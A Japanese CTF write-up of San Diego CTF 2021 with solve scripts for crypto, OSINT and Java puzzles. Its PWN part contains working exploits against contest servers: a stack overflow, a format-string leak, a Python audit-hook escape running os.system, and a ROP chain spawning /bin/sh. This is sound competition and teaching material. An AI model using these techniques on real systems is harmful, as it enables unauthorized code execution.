San Diego CTF 2021 writeup

English version : [San Diego CTF 2021 writeup (English version) - Qiita](https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b)

# 概要

[San Diego CTF 2021](https://sdc.tf/) に1人チームで参加した。
このCTFは、問題サーバのWebページを用意せず、Discord上で問題の閲覧やflagの提出を行うのが特徴的である。

結果は4326点で、正の点数を獲得した293チーム中10位 (今回の順位表は0-originであり、普通の言い方だと11位) だった。

大会中の自分のスコアの推移は、以下のような感じだった。
(各問題を正解した時刻と終了後に確定した配点に基づき、大会中の各問題の配点の変化は考慮していない)
![スコアの推移](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/d33cf04b-2210-95cf-b34d-e5dc9159a50d.png)

|解けた日時 (JST : UTC+9)|カテゴリ|問題|スコア|問題ごとの順位|
|---|---|---|---|---|
|2021/05/08 09:30|CRYPTO|Lost in Transmission|75|#3|
|2021/05/08 09:36|CRYPTO|Case64AR|190|#1|
|2021/05/08 09:52|CRYPTO|A Prime Hash Candidate|292|#3|
|2021/05/08 10:26|REVENGE|A Bowl of Pythons|115|#5|
|2021/05/08 10:45|PWN|Flag dROPper|216|#6|
|2021/05/08 11:10|PWN|printFAILED|206|#5|
|2021/05/08 12:28|PWN|Unique Lasso|441|#5|
|2021/05/08 13:15|MISC|Sanity Check|15|#83|
|2021/05/08 13:21|MISC|Alternative Arithmetic (Intermediate Flag)|259|#2|
|2021/05/08 14:04|MISC|Alternative Arithmetic (Final Flag)|537|#1|
|2021/05/08 14:34|OSINT|Speed Studying|75|#36|
|2021/05/08 14:44|OSINT|Speed Studying 2|282|#14|
|2021/05/08 19:26|CRYPTO|A Primed Hash Candidate|147|#4|
|2021/05/09 00:52|PWN|HAXLAB — Flag Leak|378|#6|
|2021/05/09 00:54|PWN|HAXLAB — Endgame Pwn|648|#3|
|2021/05/10 03:40|OSINT|hIDe and seek|100|#87|
|2021/05/10 04:17|OSINT|hIDe and seek 2|200|#54|
|2021/05/10 08:17|MISC|survey|150|#75|

(この「問題ごとの順位」は1-originである)

特に、Case64AR および Alternative Arithmetic (Final Flag) の2問で最初の正解者となった。

# 解けた問題

## OSINT

### hIDe and seek

ヒントとして Location `?v=hqXOIZtRYZU` と Location 2 `qFHIm0c.jpeg` が与えられた。

Location はYouTubeのURLの一部のようだったため、YouTubeのURLに当てはめてみたところ、それっぽい動画が出てきた。
[congratulations - YouTube](https://www.youtube.com/watch?v=hqXOIZtRYZU)

Location 2 についてはすぐにはわからなかった。
そこで、`photo sharing` でググり、
[List of image-sharing websites - Wikipedia](https://en.wikipedia.org/wiki/List_of_image-sharing_websites)
にたどり着いた。
それぞれのサービスについてそれっぽいかどうかをチェックしていくと、Imgurがそれっぽい形式の画像URLを使っていた。
そこで、Imgurの画像URLに当てはめてみたところ、それっぽい画像が得られた。
[https://i.imgur.com/qFHIm0c.jpeg](https://i.imgur.com/qFHIm0c.jpeg)

これらの動画と画像の情報を組み合わせることで、正しいflagが得られた。

```
sdctf{W0w_1_h4D_n0_ID3a!}
```

### hIDe and seek 2

ヒントとして

* First piece of info: `gg/4KcDWnUYMs`
* Second piece of info: `810237829564727312-810359639975526490`

が与えられた。

Webブラウザの履歴から`gg`を検索すると、
`https://discord.gg/`に続いてヒントと同じような10文字が続いているURLがあった。

そこで、`https://discord.gg/4KcDWnUYMs`にアクセスすると、Discordの sdctf admin chat への招待画面になった。
招待を受け入れて入ると、flagのようなものが大量に並んでいた。
その中の適当な1個について、右側の「…」から「メッセージリンクをコピー」してコピーされたURLを見ると、
`https://discord.com/channels/810237829564727308/810237829564727312/810381204834222090`
のような形で、`810237829564727312`の部分がSecond piece of info の前半部分と一致していた。

そこで、このURLの最後の部分を Second piece of info の後半部分に置き換えたURL
`https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490`
にアクセスすると、flagのようなもののうちの1個が1秒程度ハイライトされた。
このハイライトされたものが正解のflagだった。

```
sdctf{m@st3R_h@Ck3R_4807}
```

### Speed Studying

以下の条件を満たす人物のfirst nameとlast nameをflagとして答える問題。

* professor at UC San Diego
* an Assistant Professor for the Computer Science department
* an Associate Professor for the Mathematics department

まず `UC San Diego` でググり、ここを見つけた。

[University of California San Diego](https://ucsd.edu/)

さらに、ページ下部の"A to Z Site Index"に行き、

* C → Computer Science & Engineering
  * [Home | Computer Science](https://cse.ucsd.edu/?_ga=2.153433904.909768503.1620451802-318523731.1620451802)
* M → Mathematics
  * [UCSD Mathematics | Home](http://math.ucsd.edu/?_ga=2.132919302.909768503.1620451802-318523731.1620451802)

を開いた。
Computer Science のページはあまり役に立たなそうだった。
Mathematics のページの People → Directory を見ると、人の名前が並んでいた。
[UCSD Math | Directory](https://www.math.ucsd.edu/people/directory/)
その中で、Computer Science と書かれているものは以下の2人だった。

* [UCSD Math | Profile for Fan Chung Graham](https://www.math.ucsd.edu/people/profiles/fan-chung-graham/)
  * Professor Emerita of Mathematics
  * Professor Emerita of Computer Science Engineering
* [UCSD Math | Profile for Daniel Kane](https://www.math.ucsd.edu/people/profiles/daniel-kane/)
  * Associate Professor of Mathematics
  * Associate Professor of Computer Science

どちらかといえば Daniel Kane の方が近そうだが、
問題文では Computer Science については Assistant Professor と指定されているのに対し、
プロフィールではどちらも Associate Professor となっている。

それでも、とりあえずと思ってこれをflagとして送信した所、通った。

```
Daniel Kane
```

### Speed Studying 2

"The Skyline Problem" と呼ばれていた Daniel Kane のclasses中のexampleが欲しいようである。

まずは `The Skyline Problem` でググると、以下がヒットした。
[The Skyline Problem - LeetCode](https://leetcode.com/problems/the-skyline-problem/)
どうやら、典型に近い競技プログラミングの問題のようだ。

Daniel Kane の Personal Website
[Daniel Kane's Homepage](http://cseweb.ucsd.edu/~dakane/)
に行ってみたが、資料が多くて大変そうである。

そこで、Googleで `site:http://cseweb.ucsd.edu/%7Edakane/ skyline` を検索した。
すると、以下のPDFが見つかり、そこにflagが書かれていた。
[Homework3.pdf](https://cseweb.ucsd.edu/~dakane/CSE101%20Problem%20Archive/F18/Homework3.pdf)

flagをそのままコピペすると余計な空白がたくさん入ったので、テキストエディタの置換機能で消した。

ちなみに、この問題に対する模範解答と思われるPDFもヒットした。
[Solutions3.pdf](https://cseweb.ucsd.edu/~dakane/CSE101%20Problem%20Archive/F18/Solutions3.pdf)

```
sdctf{N1ce_d0rKiNG_C@pt41N}
```

## CRYPTO

### Lost in Transmission

問題ファイルの冒頭とflagの先頭部分`sdctf{`をバイナリエディタで見比べた。

```
問題ファイル          sdctf{

0  1110 0110          0  0111 0011
1  1100 1000          1  0110 0100
2  1100 0110          2  0110 0011
3  1110 1000          3  0111 0100
4  1100 1100          4  0110 0110
5  1111 0110          5  0111 1011
```

すると、flagの最初の1ビットを消したものが問題ファイルのようだった。
これは問題文の "it seems a bit...off." というのとも合致する。

<details><summary>decode.c</summary><div>

```decode.c
#include <stdio.h>

int main(void) {
	int c;
	int p = 0;
	while ((c = getchar()) != EOF) {
		putchar(((p & 1) << 7) | (c >> 1));
		p = c;
	}
	return 0;
}
```

</div></details>

```
sdctf{W0nD3rfUL_mY_G00d_s1R}
```

### Case64AR

[Base64 - Wikipedia](https://ja.wikipedia.org/wiki/Base64) の変換表を参照しつつ、
Ciphertext `OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv` の先頭部分と
flagの先頭部分`sdctf{`をbase64エンコードしたもの `c2RjdGZ7` を見比べた。
すると、flagのbase64エンコードの文字は、Ciphertextの文字の14個先になっているようだった。

そこで、Ciphertextに対し、[CyberChef](https://gchq.github.io/CyberChef/)で以下のRecipeによる変換をすることで、flagが得られた。

1. Substitute (Encryption / Encoding)
   * Plaintext:  `yz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx`
   * Ciphertext: `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`
2. From Base64 (Data format)

```
sdctf{OBscUr1ty_a1nt_s3CURITy}
```

### A Prime Hash Candidate

ハッシュ値とハッシュ関数が書かれたPythonのソースコードと、TCPサーバーの接続情報が与えられた。
どうやら、このハッシュ値に合うパスワードを見つけてサーバーに入力すればいいようである。

ハッシュ関数は、「値を0で初期化し、各文字ごとに前の値に31を掛けて文字コードを足す」というものである。

[Z3](https://github.com/Z3Prover/z3)を用いて条件を満たすパスワードを求めることにした。
Z3の使い方を知るには、ここが大いに役立った。
[CTF/Toolkit/z3py - 電気通信大学MMA](https://wiki.mma.club.uec.ac.jp/CTF/Toolkit/z3py)
ハッシュ値の桁数に基づいて最初はパスワードを20文字と仮定し、手動で1文字ずつ減らしていった。

Python環境へのZ3のインストールは、

```
pip install z3-solver
```

でできた。`z3`だけではダメだった。

<details><summary>solve.py</summary><div>

```solve.py
from z3 import *

values = [Int("v" + str(i)) for i in range(17)]

s = Solver()

res = 0
for v in values:
	s.add(0x20 <= v)
	s.add(v < 0x7f)
	res = res * 31 + v

s.add(res == 59784015375233083673486266)
r = s.check()

if r == sat:
	m = s.model()
	res = ""
	for v in values:
		c = m[v].as_long()
		if c != 0:
			res += chr(c)
	print(res)
else:
	print(r)
```

</div></details>

このコードにより、条件を満たすパスワードは `N~qqw0S$~F~rHHn%g` だと求まった。

また、もともとゼロの扱いが上手く行かなかったため桁数を手動で調整したが、
桁数を変数とし、桁数からはみ出た部分を無視するようにすることで、桁数を含めて自動で求められることに気がついた。

<details><summary>solve2.py</summary><div>

```solve2.py
from z3 import *

target = 59784015375233083673486266
mult = 31
value_len_max = 20

s = Solver()

value_len = Int("value_len")
values = [Int("v" + str(i)) for i in range(value_len_max)]

s.add(1 <= value_len)
s.add(value_len <= value_len_max)
for i in range(value_len_max):
	s.add(If(i < value_len, And(0x20 <= values[i], values[i] < 0x7f), values[i] == 0))

res = 0
for i in range(len(values)):
	res = If(i < value_len, res * mult + values[i], res)

s.add(res == target)
r = s.check()

if r == sat:
	m = s.model()
	res = ""
	for i in range(m[value_len].as_long()):
		res += chr(m[values[i]].as_long())
	print(res)
else:
	print(r)
```

</div></details>

このコードでは、条件を満たすパスワードは `Q"Rqumpe"'~rI*MdH` だと求まった。
結果が違うが、どっちのパスワードでも通るようである。

```
sdctf{st1ll_3553nt14lly_pl@1n_txt}
```

### A Primed Hash Candidate

TCPサーバーの接続情報と、そのサーバーで動いているプログラムを表すと考えられるPythonのソースコードが与えられた。
このプログラムでは以下のハッシュ関数があり、入力したパスワードのハッシュ値が指定のものならばflagを、
違うならばそのハッシュ値を出力するようである。

1. ハッシュ値を0で初期化する。
2. パスワードの各文字と、文字列`secret1`の各文字をxorする。`secret1`の文字数が足りない場合は循環させる。
3. その結果の末尾に文字列`secret2`をくっつける。
4. その結果の各文字について、ハッシュ値に整数`secret3`を掛け、文字コードを足す。

まず、いくつかの入力に対してハッシュ値を求めさせた。例えば以下のハッシュ値を得た。

|パスワード|ハッシュ値|上のハッシュ値との比|
|---|--:|--:|
|(空)|102600138716356059007219996705144046117627968461|-|
|`a`|992166622960964278925004202918932637575577014865|9.670226915617196|
|`aa`|210262682041505048014583738714712698778058090181406|211.92275286786946|
|`aaa`|48985637796415496050216650657519848062713133279035928|232.97352302747626|
|`aaaa`|11413640700522060381545483921019415124103706124202506721|232.99973653414898|

このハッシュ値の計算では、桁数が大きくなるほど加算の影響が減り、
1文字増やした時のハッシュ値の比が`secret3`に近づくと予想できる。
したがって、`secret3`は233であると予想できる。

`secret3`が128以上の数だとわかったので、
パスワード・`secret1`・`secret2`がASCIIの文字のみ(すなわち、128未満)からなると仮定すれば、
`secret3`で割った余りをとっていくことで簡単に`secret2`をくっつけたデータがわかるはずである。
実際に求めてみた。
上のハッシュ値に加え、大量の`a`の列を入力することで`secret1`を求めるための入力もある。
さらに、求めた結果`secret2`はASCII文字のみからなりそうだったので、それを文字列として出力するようにした。

<details><summary>test.py</summary><div>

```test.py
m = 233

def calc(q):
	res = []
	while q > 0:
		res.append(q % m)
		q = q // m
	return [res[len(res) - i - 1] for i in range(len(res))]

print(calc(102600138716356059007219996705144046117627968461))
print(calc(992166622960964278925004202918932637575577014865))
print(calc(210262682041505048014583738714712698778058090181406))
print(calc(48985637796415496050216650657519848062713133279035928))
print(calc(11413640700522060381545483921019415124103706124202506721))
print(calc(2659378268536464350212726318079772602014077890093473108682))
print(calc(56678918740377726047886359781090148307613747240511801341646628305011979140370757793561203839575815229178929004006886844019359633328288654953757547745797307363306287690228605085170520895486842930223543838627761786694555352517833537871099421570613401285950471276099621993337428263773193776280991157297313422764761554071206508203010916314623673595647950795646105830132596428138694772022226009678196477133112528229050981237479482321839960638938646374279349091534905575572549716737501782655376051142768831560072202859244745877469214627488920873309017303317236637970499937672394230102961331453458658035654033218881880413))

# PASSWD
print(calc(91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844))

str = ""
for c in calc(102600138716356059007219996705144046117627968461):
	str += chr(c)

print(str)
```

</div></details>

出力は以下のようになった。

```
[107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
ks(3n*cl3p%3925(*4*2
```

最後の `ks(3n*cl3p%3925(*4*2` が `secret2` だとわかる。
さらに、出力を見ると、`[4, 13, 82, 49, 41, 85, 15, 53, 69]`のパターンが循環しているようである。
したがって、これに`a`の文字コードをxorしたものが、`secret1`になりそうだ。
実際にこれを求めるのが以下のコードであり、`secret1`は `el3PH4nT$` と求まった。

<details><summary>test2.py</summary><div>

```test2.py
data = [4, 13, 82, 49, 41, 85, 15, 53, 69]

key = ord('a')

res = ""
for c in data:
	res += chr(c ^ key)

print(res)
```

</div></details>

最後に、指定されていたパスワードのハッシュ値`PASSWD`をデコードし、
`secret2`を除く部分を`secret1`とxorすることで、入力するべきパスワードが求まった。

<details><summary>test3.py</summary><div>

```test3.py
data = [34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126]

key = "el3PH4nT$"

key_v = [ord(x) for x in key]

res = ""
for i in range(len(data)):
	res += chr(data[i] ^ key_v[i % len(key_v)])

print(res)
```

</div></summary>

入力するべきパスワードは `GZZ9t3W3Ar34un44m8PLXX6` であった。

(hashという名前が使われているので「ハッシュ値」「ハッシュ関数」としたが、
簡単に一意にデコードできたらハッシュじゃないような…)

```
sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}
```

## WEB

残念ながら1問も解けなかった。

## REVENGE

### A Bowl of Pythons

Pythonのソースコードが与えられた。
まず、文字列が16進数で表現されていたので、見やすいように[CyberChef](https://gchq.github.io/CyberChef/)のFrom Hexでデコードした。
次に、メインとなる`e()`関数を見ると、まず入力のヘッダとフッタをチェックし、その後中身をチェックするようになっていた。
余計な部分を消し、演算を逆転させることで、flagの中間部分を得ることができた。

<details><summary>solve.py</summary><div>

```solve.py
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)

f = b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4'

print(bytes(f[i] ^ (a(i) & 0xff) for i in range(len(f))))
```

</div></details>

```
sdctf{v3ry-t4sty-sph4g3tt1}
```

## PWN

### Flag dROPper

TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。

このELFファイルを[TDM-GCC](https://jmeubank.github.io/tdm-gcc/)の`objdump`で逆アセンブルして観察した結果、
バッファの0x48バイト目から関数`_exit`のアドレスを入れた後、
そのバッファに入力を読み込み、
バッファの0x48バイト目からのアドレスに制御を移していることがわかった。

そこで、このアドレスを`win`関数のアドレスに書き換えるような入力を与えたところ、flagの2文字目以降が得られた。

<details><summary>communicate.pl</summary><div>

```communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"dropper.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = ("#" x 0x48) . "\xDA\x05\x40\x00\x00\x00\x00\x00";

print $sock $query;

while (<$sock>) {
	print $_;
}

close($sock);
```

</div></details>

```
sdctf{n1C3_C4tcH_bUd}
```

### HAXLAB — Flag Leak

TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
このプログラムは、入力した文を実行してくれるが、
[`sys.addaudithook()`](https://docs.python.org/ja/3/library/sys.html#sys.addaudithook)によって多くの操作が拒否されるようになっている。

いろいろ試したところ、`import subprocess`は拒否されたが、`import sys`は拒否されなかった。
`import sys`により、[`sys.modules`](https://docs.python.org/ja/3/library/sys.html#sys.modules)にアクセスできるようになった。
その中には、[`builtins`モジュール](https://docs.python.org/ja/3/library/builtins.html)もあった。
このモジュールをいじることで、組み込み関数を置き換えることができるようだった。
特に、`sys.modules["builtins"].set`にラムダ式を代入することで、
操作を拒否する部分でホワイトリストの初期化に使われている[`set()`](https://docs.python.org/ja/3/library/functions.html#func-set)を置き換えることができた。
これを利用し、`"os.system"`をホワイトリストに追加することで、
[`os.system()`](https://docs.python.org/ja/3/library/os.html#os.system)を実行することができるようになった。
最後に、これを利用して `cat flag1.txt` を実行することで、flagが得られた。

すなわち、以下の文を順に実行することで、flagが得られた。

```python
import sys
import os
sys.modules["builtins"].set = lambda x : list(x) + ["os.system"]
os.system("cat flag1.txt")
```

```
sdctf{get@ttr_r3ads_3v3ryth1ng}
```

### HAXLAB — Endgame Pwn

TCPサーバーの接続情報と、そこで動いていると考えられるPythonのソースコードが与えられた。
これらは HAXLAB — Flag Leak と同じものであった。
そのため、同様に `cat flag1.txt` のかわりに `cat flag2.txt` を実行することで、flagが得られた。

```
sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}
```

### printFAILED

TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。

このELFファイルを[TDM-GCC](https://jmeubank.github.io/tdm-gcc/)の`objdump`で逆アセンブルして観察した結果、
以下のような処理をしているようだった。

<details><summary>kakikudasi.c</summary><div>

```kakikudasi.c
#include <stdio.h>
#include <string.h>

int FLAG_LEN;

char flag[1024];
char guess[1024];

void scramble(int len) { /* -0x14(%rbp) */
	int i; /* -0x4(%rbp) */
	/* 831 860 */
	for (i = 0; i < len; i++) {
		/* 83a */
		int eax = i, ecx;
		eax = flag[eax];
		eax += 1;
		/* 84e */
		ecx = eax;
		eax = i;
		flag[eax] = ecx;
	}
}

int main(void) {
	/* 87e */
	FILE* fp = fopen("flag.txt", "r");
	fgets(flag, 0x28, fp);
	/* 8ad */
	scramble(0x27);
	/* 8b7 */
	puts("can you guess the scrambled flag?");
	fflush(stdout);
	/* 8d2 */
	fgets(guess, 0x28, stdin);
	/* 8ed */
	puts("you guessed: ");
	/* 8f9 */
	printf(guess, main, scramble, FLAG_LEN, flag);
	/* 935 */
	if (strcmp(guess, flag) == 0) {
		/* 93e */
		puts("nice guess!");
	} else {
		/* 94c */
		puts("wrong");
	}
	/* 958 */
	return 0;
}
```

</div></summary>

この中で、特に重要なのは

```c
printf(guess, main, scramble, FLAG_LEN, flag);
```

という行である。
ここで、`guess`にはユーザー入力が入り、
`flag`には`flag.txt`から読み込んだデータを`scramble()`関数で加工したデータが入っている。
この`scramble()`関数は、`flag`の指定した位置までの要素にそれぞれ1を足す処理をしている。
したがって、この配列`flag`の内容を読み取り、`scramble()`関数の逆の加工を行えば、flagが得られるはずである。

これを踏まえ、

```
%lx %lx %lx %s
```

という入力を与えたところ、

```
55b4835b086f 55b4835b082a 28 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~
```

という出力が返ってきた。この出力の最後の部分 ``tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~`` に対し、
[CyberChef](ttps://gchq.github.io/CyberChef/)でKeyを-1としたSUBを行うことで、flagが得られた。
(SUB は Arithmetic / Logic カテゴリに入っている)
 
```
sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}
```

### Unique Lasso

TCPサーバーの接続情報と、そこで動いていると考えられるELFファイルが与えられた。

このELFファイルを[TDM-GCC](https://jmeubank.github.io/tdm-gcc/)の`objdump`で逆アセンブルして観察した結果、
以下のような処理をしているようだった。

<details><summary>kakikudasi.c</summary><div>

```kakikudasi.c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
	char rbp_6[2];
	int rbp_4;
	/* 400b75 */
	puts("how long do you think this lass is: (hint: its really long)");
	/* 400b81 */
	fflush(stdout);
	/* 400b90 */
	fgets(rbp_6, 0x258, stdin);
	/* 400ba8 */
	rbp_4 = atoi(rbp_6);
	/* 400bb4 */
	printf("You guessed %d\n", rbp_4);
	/* 400bcd */
	puts("Its gotta be longer than that");
	/* 400bd9 */
	fflush(stdout);
	/* 400be8 */
	return 0;
}
```

</div></details>

特に`win`関数などはなさそうなので、ROP (Return-oriented programming) を用いて
`execve("/bin/sh", 0, 0)`を実行させることにした。
そのためには、`%rax`に59 (`execve`のシステムコール番号)、`%rdi`に`"/bin/sh"`のアドレス、
`%rsi`と`%rdx`に0をセットして、`syscall`命令を実行させればよい。

バイナリエディタでELFファイルからそれぞれの機械語を検索したところ、
ファイル中の位置で例えば以下の場所にgadgetが見つかった。

```
0x006A6 : pop %rdi; ret
0x10B63 : pop %rsi; ret
0x4C616 : pop %rdx; ret
0x005AF : pop %rax; ret
0x74AE5 : syscall ; ret
```

また、逆アセンブル結果より、実行時のアドレスはファイル中の位置に 0x400000 を足したものになるようだった。
さらに、`"/bin/sh"`そのものはバイナリ中に無さそうであったが、逆アセンブル結果を眺めていると、

```
  400692:	48 89 05 67 c1 2b 00 	mov    %rax,0x2bc167(%rip)        # 6bc800 <__x86_shared_non_temporal_threshold>
  400699:	48 83 c4 08          	add    $0x8,%rsp
  40069d:	5b                   	pop    %rbx
  40069e:	5d                   	pop    %rbp
  40069f:	41 5c                	pop    %r12
  4006a1:	41 5d                	pop    %r13
  4006a3:	41 5e                	pop    %r14
  4006a5:	41 5f                	pop    %r15
  4006a7:	c3                   	retq   
```

という部分があり、これを用いると`%rax`に入れた任意の値を0x6bc800に書き込めるようだった。

これらを用い、以下の動作をするようにスタックの内容を構築した。

1. `%rax` に `"/bin/sh"` のデータを入れる
2. `%rax` のデータを 0x6bc800 に入れる
3. `%rax` に 59 を入れる
4. `%rdi` に 0x6bc800 を入れる
5. `%rsi` に 0 を入れる
6. `%rdi` に 0 を入れる
7. `syscall` を実行する

この内容をスタックに入れるための入力の後、単純にシェルのコマンドを送っても、なぜか結果が出てこなかった。
そこで、ループで何度もコマンドを送るなど試行錯誤したところ、ファイルリストやflagが得られた。

<details><summary>communicate.pl</summary><div>

```communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"lasso.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = "123456--------";

my $pop_rdi = 0x4006a6;
my $pop_rsi = 0x410b63;
my $pop_rdx = 0x44c616;
my $pop_rax = 0x4005af;
my $syscall = 0x474ae5;
my $mov     = 0x400692;

my @data = (
	$pop_rax,
	-1,
	$mov,
	0, 0, 0, 0, 0, 0, 0,
	$pop_rax,
	59,
	$pop_rdi,
	0x6bc800,
	$pop_rsi,
	0,
	$pop_rdx,
	0,
	$syscall
);

for (my $i = 0; $i < @data; $i++) {
	if ($data[$i] >= 0) {
		$query .= pack("Q", $data[$i]);
	} else {
		$query .= "/bin/sh\0";
	}
}

print $sock $query;
print $sock "\n";
for (my $i = 0; $i < 4096; $i++) {
	#print $sock "echo hoge\n";
	#print $sock "ls\n";
	print $sock "cat flag.txt\n";
	print $sock "exit\n";
}

while (<$sock>) {
	print $_;
}

close($sock);
```

</div></details>

```
sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}
```

## MISC

### Sanity Check

問題文にflagが書かれていた。

> Here's the flag of this challenge: `sdctf{1_@m_n0t_4_r0b0t!}`

```
sdctf{1_@m_n0t_4_r0b0t!}
```

### Alternative Arithmetic (Intermediate Flag)

Javaに関するクイズが出題され、3問正解するとflagが得られた。

#### 1問目

0でなく、`x == -x` となる `long x` の値が要求された。
Javaの`long`は64bitであり、2の補数を使っているとすれば、`-(2 ** 63)` が条件を満たすはずである。
この値をPythonで求めた。

```
x = -9223372036854775808
```

#### 2問目

以下の条件を満たす`long`の値`x`および`y`が要求された。

* 異なる
* 差が10以下
* `Long.hashCode(x) == Long.hashCode(y)`

`long`のハッシュ値は、上位32ビットと下位32ビットのxorで求められるらしい。

* [[Java] hashCode のメモ - Qiita](https://qiita.com/yoshi389111/items/9e34fe297bd908a36065)
* [Long (Java Platform SE 8 )](https://docs.oracle.com/javase/jp/8/docs/api/java/lang/Long.html#hashCode--)

`-1`、すなわち `0xffffffffffffffff` は、
上位32ビット `0xffffffff` と下位32ビット `0xffffffff` のxorをとると `0` になる。
また、`0`、すなわち `0x0000000000000000` も、
上位32ビット `0x00000000` と下位32ビット `0x00000000` のxorをとると `0` になる。

```
x = 0
y = -1
```

#### 3問目

forループ `for (float start = magic; start < (magic + 256); start++)`
が十分な回数回るような`float magic`の値を要求された。
さらに、適当な値を入力すると「7文字未満」という条件も出てきた。こういう後出しの条件は嫌いです。
`float`の精度を考え、1を足しても値が変わらないような値を入れることで、正解が得られた。

```
f = 1e+8
```

#### flag

```
sdctf{JAVA_Ar1thm3tIc_15_WEirD}
```

### Alternative Arithmetic (Final Flag)

Alternative Arithmetic (Intermediate Flag) に続いてJavaに関するクイズがさらに出題され、
2問正解することでflagが得られた。

#### 4問目

以下の条件を満たす文字列`s1`、`s2`、`s3`が要求された。

* `new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0`
* `Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)`

`double`がオーバーフローする程度の大きい値と小さい値を入れることで、正解が得られた。

```
s1 = 1e+1000
s2 = -1e+1000
s3 = 0
```

#### 5問目

`i < j || i == j || i > j` が `false` になるような、
`var i = (<type>) <num1>; var j = (<type>) <num2>;` の 
`<type>`、`<num1>`、`<num2>` にあてはまるものを求められた。
また、`<num1>`と`<num2>`は「regex `[0-9]*\.?[0-9]*` を満たす」ものを要求された。

[Wandbox](https://wandbox.org/)でいろいろ試すことで、正解が得られた。

```
<type>: Double
<num1>: 1.0
<num2>: 1.0
```

#### flag

```
sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}
```

### survey

GoogleフォームのURLが提示された。
リンク先のアンケートに回答して回答を送信すると、flagが表示された。

```
sdctf{Suv3y_s@ys!}
```